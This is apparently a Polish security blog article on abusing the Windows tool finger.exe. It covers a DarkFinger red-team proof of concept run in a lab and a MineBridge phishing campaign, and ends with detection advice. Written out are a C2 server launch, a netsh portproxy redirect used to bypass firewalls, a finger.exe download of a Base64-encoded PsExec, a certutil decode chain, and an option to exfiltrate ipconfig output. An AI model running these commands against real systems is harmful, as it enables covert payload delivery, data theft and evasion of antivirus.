W dzisiejszym artykule opiszemy i pokażemy kolejny LOLBIN nazywany „finger.exe”, którego używają cyberprzestępcy do pobierania plików z Internetu (instalowania malware) lub wykradania danych. Przedstawimy scenariusz PoC, który może się przydać podczas testów zespołów RedTeam atakujących infrastrukturę oraz opiszemy najnowszą kampanię phishingową wykorzystująca Finger do instalacji malware o nazwie MineBridge.


Atakujący często używają wbudowane w Windows programy

Stale rośnie lista natywnych plików wykonywalnych w Windows, za pomocą których można pobierać lub uruchamiać złośliwy kod. Kilka z nich szczegółowo opisywaliśmy w naszych artykułach. Są to na ogół pliki binarne (nazywane LoLBin’s), które znalazły zastosowanie w świecie hackerskim i pomagają atakującym w obejściu kontroli bezpieczeństwa w celu pobrania złośliwego oprogramowania bez wywoływania alarmu w systemie.
W dzisiejszym artykule wzięliśmy „na tapetę” dinozaura – polecenie Finger.exe, gdyż znaleźliśmy w sieci nowy atak hackerski wykorzystujący phishing z dokumentem i poleceniami w tle używającymi finger. Postanowiliśmy zagłębić się w problem i opisać to ciekawe narzędzie jakim jest DarkFinger.

Lecz zanim przejdziemy do opisywania phishingu wyjaśnimy najpierw do czego służy finger.exe i przeprowadzimy PoC aby pokazać co cyberprzestępcy mogą zrobić za jego pomocą.


Co to jest Finger?

Finger ( z ang. palec lub wskazywać) to polecenie/narzędzie pochodzące z systemów operacyjnych Linux/Unix, które umożliwia lokalnemu użytkownikowi pobranie listy użytkowników na zdalnym komputerze lub informacji o konkretnym zdalnym użytkowniku. Oprócz Linux’a, w finger zostały także wyposażone systemy operacyjne Windows, na których wykonuje ono te same funkcje.
W celu wykonania polecenia Finger musimy podać nazwę użytkownika i adres zdalnego komputera na przykład „finger [email protected]”, przy czym zdalny komputer musi posiadać uruchomioną usługą lub demona Finger. Komunikacja sieciowa odbywa się za pośrednictwem protokołu tekstowego Name/Finger.


Finger używany przez cyberprzestępców do ataku na systemy

Cyberprzestępcy, którzy włamują się na komputery, mogą być blokowani przed możliwością uruchomienia na nich „nieznanych” aplikacji, za pomocą których będą w stanie pobrać inne programy lub narzędzia. Oczywiście wszystko zależy od wdrożonych/zainstalowanych specjalistycznych narzędzi do bezpieczeństwa w organizacji i na komputerze. Korzystając z wbudowanych, natywnych programów systemu Windows mają taką możliwość, choć te coraz częściej zaczynają być blokowane. Przykładem może być natywny program Windows „Certutil.exe” wykorzystywany również do pobierania plików, który został niedawno zablokowany przez program antywirusowy Windows Defender – próba jego wykonania z parametrami zawierającymi adres http lub https jest rejestrowana jako zdarzenie „Trojan: Win32 / Ceprolad.A”.

Dlatego Finger otwiera nowe możliwości dla RedTeam i atakujących oraz pozwala ominąć obecne ograniczenia bezpieczeństwa Windows Defender w celu pobrania innych narzędzi, wysyłania poleceń i exfiltracji danych.

Powyższe możliwości odkrył badacz bezpieczeństwa John Page. Stworzył on narzędzie DarkFinger wykorzystujące serwer C2 i kanał komunikacji FINGER do przesyłania zapytań, dzięki którym, można za pomocą tokenu „użytkownika”(użytkownik@host) pobierać pliki i/lub usuwać dane omijając zabezpieczenia oferowane miedzy innymi przez antywirusa Windows Defender.


Ograniczenia użycia Finger i sposoby ich obejścia w organizacji

Jednym z problemów wykorzystania Finger może być fakt, że używa portu komunikacyjnego 79 TCP, który jest często blokowany w organizacji. Jeśli tak jest i osoba atakująca ma odrobinę szczęścia i zdobędzie uprawnienia administracyjne do komputera, to może ominąć to ograniczenie, używając protokołu Windows NetSh Portproxy, który działa jako przekierowujący port dla protokołu TCP.
Metoda ta pozwala ominąć reguły zapory i komunikować się z serwerami C2 przez nieograniczone porty np. HTTP (S). W ten sposób zapytania Portproxy są dostarczane na adres IP komputera lokalnego, a następnie przekazywane do określonego hosta C2.

Ograniczenie ma również używanie polecenia finger.exe do pobierania plików binarnych, ponieważ używa protokołu tekstowego. Ale nie ma nic takiego, czego nie można by obejść, ponieważ kodowanie ich za pomocą Base64 wystarczy, aby uniknąć wykrycia i pozbyć się tego ograniczenia 🙂 Przejdźmy zatem do opisu narzędzia DarkFinger i scenariusza.


DarkFinger – narzędzie do exfiltracji danych i pobierania plików

Jak wspominaliśmy powyżej, twórcą DarkFinger jest John Pages. W skład narzędzia wchodzą dwa krypty demonstracyjne proof-of-concept (PoC):

  • DarkFinger.py – skrypt dla serwera C2 napisany w Pythonie
  • DarkFinger-Agent.bat – plik wsadowy uruchamiany po stronie klienta Windows służący jako agent do komunikacji.

Poniżej zamieściliśmy film pokazujący demo exfiltracji i pobierania pliku w narzędziu DarkFinger:

W celu instalacji narzędzia DarkFinger potrzebujemy komputera z systemem Windows (pełniący rolę serwera C2) i środowisko Python. Jeśli chcemy udostępniać za pomocą serwera jakieś konkretne pliki wówczas musimy je wgrać do katalogu, w którym znajduję się główny skrypt narzędzia oraz w pliku „Downloads.txt” umieścić nazwy tych plików. Po uruchomieniu serwera C2, Darkfinger zakoduje je w Base64 i umieści w specjalnym podkatalogu „DarkFinger_Downloads” ze zmienioną nazwą i rozszerzeniem *.txt.

Uruchamiając serwer c2 w argumentach wywołania skryptu musimy wskazać ścieżkę do pliku „Downloads.txt „oraz podać port, na którym ma on nasłuchiwać.

Od tej pory możemy uruchamiać agenta po stronie stacji roboczej Windows (komputer ofiary) lub na innym serwerze. Przykłady użycia funkcji agenta zamieściliśmy w scenariuszu PoC opisanym poniżej, w odrębnej sekcji.

Ciekawe polecenia, które możemy użyć po stronie agenta to:

  • Zmiana portu nasłuchiwania serwera na 80 TCP: C:\> finger.exe !80!@DarkFinger-Server
  • Wykonanie komendy na lokalnej maszynie i przesłanie wyników do serwera: C:\>finger.exe <Command>@<Local-Machines-IP>
  • Zmiana czasu pobierania plików (wydłużenie domyślnego czasu): C:\>finger.exe ps%<Wait-Time-Secs>%@%<DarkFinger-Server>%

Należy pamiętać, że w przypadku, kiedy do komunikacji pomiędzy serwerem C2 a agentem używany jest inny niż standardowy port 79 TCP trzeba wykonać portproxy – zmienić ustawienie przekierowywania portów na lokalnej maszynie. Aby to wykonać potrzebujemy niestety lokalnych uprawnień administracyjnych.

Lecz również i tym przypadku twórca agenta DarkFinger o wszystko się zatroszczył i umożliwia przestawienie tego portu bezpośrednio w opcji agenta. Poniżej pokazujemy komendę, która to wykonuje (bez konieczności użycia opcji agenta)

netsh interface portproxy add v4tov4 listenaddress=172.16.215.141 listenport=443 connectaddress=172.16.215.100 connectport=79


Scenariusz komunikacji TCP z serwerem C2 – pobieranie i wysyłanie danych do Internetu


W naszym scenariuszu pokażemy komunikację klienta Windows 10 z serwerem C2 za pomocą „finger.exe”. Wyślemy wrażliwe dane dotyczące konfiguracji komputera oraz pobierzemy na niego program PsExec z serwera C2 umieszczonego w sieci/Internecie.

W tym celu przygotowaliśmy dwa komputery:

  • Stację roboczą Windows 10 o adresie IP: 172.16.215.141
  • Serwer Windows 2016 o adresie IP: 172.16.215.100 z zainstalowanym serwerem C2 DarkFinger

Na stacji roboczej uruchomimy polecenia „finger.exe „w celu wykonania komunikacji z naszym serwerem C2. Całość komunikacji odbywać się będzie po niestandardowym porcie 443 TCP (użyjemy do tego przekierowania portproxy), więc komunikacja nie powinna zostać wykryta przez narzędzia bezpieczeństwa.


Krok 1 – uruchomienie i skonfigurowanie serwera C2

Na serwerze C2 uruchamiamy narzędzie DarkFinger i konfigurujemy w nim port, na którym będzie nasłuchiwał komunikacji od klienta finger.exe uruchomionego na stacji roboczej oraz pliki wykonywalne, które będzie udostępniał do pobrania.

Uruchomienie serwera C2:

– DarkFinger-C2.py -p 443 -c Downloads.txt -d

W naszym przypadku serwer C2 uruchomiliśmy na porcie TCP 443 (może być inny dowolny) oraz wskazaliśmy w parametrze „c” listę plików, które będą udostępniane do pobrania przez nasz serwer. Pliki to „Psexec.exe” oraz netcat „nc64.exe,” które umieściliśmy w tym samym katalogu co plik wykonywalny serwera C2.

Ponieważ komunikacja w protokole Finger odbywa się tekstowo, serwer DarkFinger musiał zakodować w Base64 te dwa pliki wykonywalne. Zakodowane pliki zostały utworzone w podkatalogu „Darkfinger_Downloads” z odpowiednimi nazwami „ps.txt” oraz „nc.txt”.


Krok 2 – wykonanie polecenia exfiltracji danych po stronie stacji roboczej

Mamy już przygotowany serwer C2. Zajmiemy się teraz częścią kliencką. Dla ułatwienia wykonania tego kroku uruchomiliśmy po stronie stacji roboczej agenta DarkFinger, który jest niczym innym jak plikiem wsadowym (*.bat) zawierającym obsługę poleceń „finger.exe” z kilkoma opcjami ułatwiającymi konfigurację. Oczywiście scenariusz moglibyśmy obsłużyć bezpośrednio z polecenia finger.exe, lecz agent zawiera kilka wbudowanych funkcji automatyzujących całość komunikacji. Dlaczego z niej mielibyśmy nie skorzystać?

Z naszej stacji roboczej prześlemy na serwer C2 konfigurację karty sieciowej komputera – wynik polecenia „ipconfig”.

Na Windows 10 logujemy się na użytkownika posiadającego lokalne uprawnienia administracyjne (mamy to szczęście), dzięki czemu będziemy mogli zdefiniować inny port do komunikacji TCP 443. W przeciwnym wypadku bylibyśmy zmuszeni do wykorzystania standardowego dla finger portu TCP 79.

W tym celu uruchamiamy plik wsadowy agenta DarkFinger „DarkFinger-C2-Agent.bat” na uprawnieniach administratora.
Będziemy musieli skonfigurować adres IP serwera C2 oraz port.

Po udanej konfiguracji agenta pojawią się opcje do wybrania, z których wybierzemy nr 4 – exfiltracja wyniku polecenia ipconfig.
Po stronie serwera C2 zobaczymy wynik polecenia ipconfig wykonanego na stacji roboczej Windows 10.


Krok 3- pobranie z serwera C2 na stację robocza narzędzia Psexec

W tym kroku pobierzemy na stację roboczą narzędzie PsExec.exe, które posłuży nam do wykonania dalszego ataku. W opisywanej kampanii phisingowej poniżej pokażemy, że finger.exe został użyty przez cyberprzestępców do pobrania na komputer programu TeamViewer.exe.

W celu pobrania PsExec wybieramy opcję nr 1 w agencie.

Plik „psexec.exe” zostanie pobrany, zdekodowany i zapisany na pulpicie pod nazwą „ps.exe”.

To samo moglibyśmy wykonać bez uruchamiania agenta wykonując bezpośrednio polecenie „finger.exe” na komputerze.

finger.exe [email protected] > c:\temp\temp.txt

który zapisze zakodowanego psexec’a do katalogu „c:\temp” i pliku o nazwie „temp.txt”.

Lecz w tym przypadku musielibyśmy po jego wykonaniu posłużyć się dwoma dodatkowymi komendami w celu prawidłowego uruchomienia narzędzia psexec.exe: a) Komendą ucinającą 2 pierwsze linijki z zakodowanego pliku pliku:
more +2 c:\temp\tmp.txt > c:\temp\ps.txt

b) oraz wbudowaną komendę „certutil.exe”, która przekonwertuje zakodowany w Base64 plik psexec i zamieni go na wykonywalny program
certutil -decode C:\Temp\ps.txt c:\temp\ps.EXE 1> nul

Konieczność wykonania powyższych komend wynika to z tego, że komenda finger.exe pobiera dane tekstowo. W naszym przypadku serwer C2 udostępnia zakodowany w Base64 kod programu Psexec, zapisany do pliku tekstowego, czyli tekst. Dodatkowo podczas próby zapisania wyniku wywołania komendy „finger exe” z przekierowaniem strumienia do pliku dodawany jest do niego nagłówek (2 liniki) tekstu, których musimy się pozbyć poleceniem „more”, a następnie zdekodować cały plik i zapisać do programu wykonywalnego. Nie możemy też zapomnieć przed wykonaniem polecenia finger.exe o ustawieniu portproxy na niestandardowy port (potrzebne uprawnienia administracyjne) – jeśli oczywiście serwer C2 działa na innym porcie niż 79 TCP.

Przykładowa linijka kodu ustawiająca portproxy na inny port 443:

netsh interface portproxy add v4tov4 listenaddress=172.16.215.141 listenport=443 connectaddress=172.16.215.100 connectport=79

Wynik komendy ustawia przekierowanie w rejestrze systemowym:

HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4


Kampania phisingowa z malware MineBridge wykorzystująca Finger

W powyższym scenariuszu pokazaliśmy narzędzie DarkFinger i jego wykorzystanie do exfiltracji oraz pobierania danych. Okazuje się, że w sieci pojawiła się nowa kampania phisingowa, wykorzystująca Finger do pobrania malware.
W zeszłym tygodniu Kirk Sayre, badacz bezpieczeństwa, znalazł kampanię phishingową wykorzystującą polecenie Finger do pobrania szkodliwego oprogramowania typu backdoor MineBridge. Pierwsze wzmianki o MineBridge zgłosił również FireEye po wykryciu licznych kampanii phishingowych wymierzonych w organizacje z Korei Południowej.
Wiadomości phishingowe (maile) zawierają złośliwe dokumenty programu Word udające kandydatów do pracy. We wnętrzu dokumentów znajduje się złośliwe makro wykorzystujące Finger do instalacji malware MineBridge.

Oczywiście do infekcji komputera dochodzi po otwarciu przez użytkownika załączonego do maila pliku i uruchomieniu w makro (poprzez klikniecie przycisku „Enable content”).
Interesujące jest samo makro, które jest zobfuskowane i zawiera polecenie finger.exe

Rozszyfrowane polecenie wykonane przez makro używa finger do pobrania zakodowanego pliku w standardzie Base64 ze zdalnego serwera C2 i zapisuje go do pliku tymczasowego na dysku. Następnie dekoduje przy użyciu „certutil.exe” do pliku wykonywalnego o nazwie „vUCooUr.exe”. Pod koniec kasowane są oba pliki z dysku.

Plik „vUCooUr.exe „to nic innego jak instalator aplikacji TeamViewer, który wykorzystywany jest do pobrania złośliwej biblioteki DLL – malware MineBridge., która następnie jest ładowana do systemu operacyjnego uruchamiając malware.
Po załadowaniu MineBridge cyberprzestępcy uzyskują pełny dostęp do zainfekowanego komputera, który umożliwia im podsłuchiwanie użytkowników przez mikrofon oraz wykonywanie innych złośliwych działań.

Procedura pobierania malware bliźniaczo przypomina opisywaną przez nas w scenariuszu DarkFinger. Czyżby przestępcy się wzorowali na tym narzędziu? Całkiem możliwe. Dlatego bądźcie czujni.


Podsumowanie

Opisaliśmy i pokazaliśmy kolejne wbudowane w Windows narzędzie LOLBIN, które może posłużyć cyberprzestępcom do pobrania i zainstalowania malware i do wykonania złych rzeczy po stronie komputera ofiary (ataku). W Internecie istnieje już działająca kampania phisingowa, którą również opisaliśmy, wykorzystująca tą technikę komunikacji/ataku z serwerem C2.
Ponieważ polecenie finger.exe jest dinozaurem wśród poleceń Windows zalecamy jego zablokowanie, natomiast w środowiskach, gdzie nie jest to możliwe zalecamy włączenie monitorowania jego użycia. Warto też zwrócić uwagę na próby komunikacji sieciowej na porcie 79 TCP oraz na innych niestandardowych portach (jeśli użyty został portproxy), które mogą świadczyć o komunikacji z serwerem C2 i o tym, że komputer został zainfekowany złośliwym oprogramowaniem. Zalecamy również nie pracować na komputerze na kontach z uprawnieniami administracyjnymi, ponieważ złośliwe oprogramowanie może zmienić jego port komunikacyjny FINGER na dowolny inny np. 443 lub 80 TCP, który będzie udrożniony w firmie i umożliwi komunikację z malware. Dlatego należy monitować zmiany w gałęzi rejestru systemowego „HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\”.

Podziel się z innymi tym artykułem!